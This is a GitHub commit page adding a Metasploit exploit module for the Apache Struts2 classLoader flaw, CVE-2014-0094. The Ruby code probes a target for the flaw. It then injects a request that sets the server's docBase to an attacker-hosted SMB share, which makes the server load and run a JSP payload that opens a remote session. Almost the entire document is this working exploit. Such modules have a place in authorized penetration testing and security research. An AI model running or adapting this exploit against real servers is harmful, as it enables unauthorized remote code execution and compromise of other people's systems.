Skip to content

Commit 5cc9ea3

Browse files
committed
Update with master changes
2 parents 1676d98 + 0d56f5b commit 5cc9ea3

File tree

1 file changed

+96
-0
lines changed

1 file changed

+96
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::SMB::Server::Share
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Struts JSP Injection over HTTP',
17+
'Description' => %q{
18+
This module exploits the classLoader Apache Struts2
19+
vulnerability to inject a JSP shell over SMB.
20+
},
21+
'Author' => [
22+
'Matthew Hall <[email protected]>',
23+
],
24+
'DisclosureDate' => 'May 1 2014',
25+
'Platform' => 'win',
26+
'Privileged' => true,
27+
'References' =>
28+
[
29+
[ 'URL', 'http://www.sec-1.com/blog/'],
30+
[ 'CVE', '2014-0094' ],
31+
],
32+
'DefaultOptions' =>
33+
{
34+
'EXITFUNC' => 'process',
35+
'DisablePayloadHandler' => 'false',
36+
},
37+
'Privileged' => true,
38+
'Arch' => ARCH_JAVA,
39+
'Platform' => [ 'win' ],
40+
'Targets' =>
41+
[
42+
[ 'Java Universal',
43+
{
44+
'Arch' => ARCH_JAVA,
45+
'Platform' => ['win','linux']
46+
},
47+
]
48+
],
49+
'DefaultTarget' => 0,
50+
))
51+
register_options(
52+
[
53+
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]),
54+
OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']),
55+
Opt::RPORT(8080)
56+
], self.class)
57+
deregister_options('FILE_CONTENTS')
58+
end
59+
60+
def check
61+
uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x'
62+
res = send_request_raw({'uri'=>uri})
63+
64+
if res and res.body =~ /No result defined for action/
65+
return Exploit::CheckCode::Vulnerable
66+
else
67+
return Exploit::CheckCode::Unknown
68+
end
69+
end
70+
71+
def primer
72+
self.file_contents = payload.encoded
73+
print_status("File available on #{unc}...")
74+
share = "#{unc}"
75+
sploit = datastore['URI']
76+
share = share.gsub(/\\/, '/')
77+
#sploit << '?class.classLoader.resources.dirContext.docBase='
78+
sploit << '?Class.classLoader.resources.dirContext.docBase='
79+
#sploit << '?Class.classLoader.resources.context.effectiveMajorVersion='
80+
#sploit << "?class['classLoader']['resources']['dirContext']['docBase']="
81+
sploit << share
82+
print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}")
83+
84+
res = send_request_raw({
85+
'method' => 'GET',
86+
'uri' => sploit
87+
}, 30)
88+
89+
# Wait 30 seconds for session to be created
90+
1.upto(30) do
91+
break if session_created?
92+
sleep(1)
93+
end
94+
disconnect
95+
end
96+
end

0 commit comments

Comments
 (0)